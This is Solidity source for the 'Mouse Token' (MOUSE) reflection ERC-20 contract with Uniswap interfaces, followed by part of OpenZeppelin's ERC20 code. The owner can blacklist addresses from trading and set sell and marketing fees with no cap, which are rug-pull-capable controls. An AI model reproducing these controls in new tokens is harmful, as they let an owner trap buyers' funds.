* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MOUSE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint8 private _decimals = 9;
//
string private _name = "Mouse Token"; // name
string private _symbol = "MOUSE"; // symbol
uint256 private _tTotal = 1 * 10**9 * 10**uint256(_decimals);
// % to holders
uint256 public defaultTaxFee = 0;
uint256 public _taxFee = defaultTaxFee;
uint256 private _previousTaxFee = _taxFee;
// % to swap & send to marketing wallet
uint256 public defaultMarketingFee = 9;
uint256 public _marketingFee = defaultMarketingFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _marketingFee4Sellers = 9;
bool public feesOnSellersAndBuyers = true;
uint256 public _maxTxAmount = _tTotal.div(1).div(50);
uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100);
address payable public marketingWallet = payable(0xCBc3fD5067cED6F9839F3bF9dCd3e0C67c29C2e1);
//
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public _isBlacklisted;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tFeeTotal;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndSend;
bool public SwapAndSendEnabled = true;
event SwapAndSendEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwapAndSend = true;
_;
inSwapAndSend = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function removeAllFee() private {
if(_taxFee == 0 && _marketingFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_taxFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
}
//to recieve ETH
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tMarketing = calculateMarketingFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing);
return (tTransferAmount, tFee, tMarketing);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeMarketing(uint256 tMarketing) private {
uint256 currentRate = _getRate();
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tMarketing);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(
10**2
);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + send lock?
// also, don't get caught in a circular sending event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (
overMinTokenBalance &&
!inSwapAndSend &&
from != uniswapV2Pair &&
SwapAndSendEnabled
) {
SwapAndSend(contractTokenBalance);
}
if(feesOnSellersAndBuyers) {
setFees(to);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function setFees(address recipient) private {
_taxFee = defaultTaxFee;
_marketingFee = defaultMarketingFee;
if (recipient == uniswapV2Pair) { // sell
_marketingFee = _marketingFee4Sellers;
}
}
function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
contractTokenBalance,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
marketingWallet.transfer(contractETHBalance);
}
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() {
defaultMarketingFee = marketingFee;
}
function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() {
_marketingFee4Sellers = marketingFee4Sellers;
}
function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() {
feesOnSellersAndBuyers = _enabled;
}
function setSwapAndSendEnabled(bool _enabled) public onlyOwner() {
SwapAndSendEnabled = _enabled;
emit SwapAndSendEnabledUpdated(_enabled);
}
function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() {
numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing;
}
function _setMarketingWallet(address payable wallet) external onlyOwner() {
marketingWallet = wallet;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
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/**
*Submitted for verification at Etherscan.io on 2022-01-13
*/
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.3.2 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
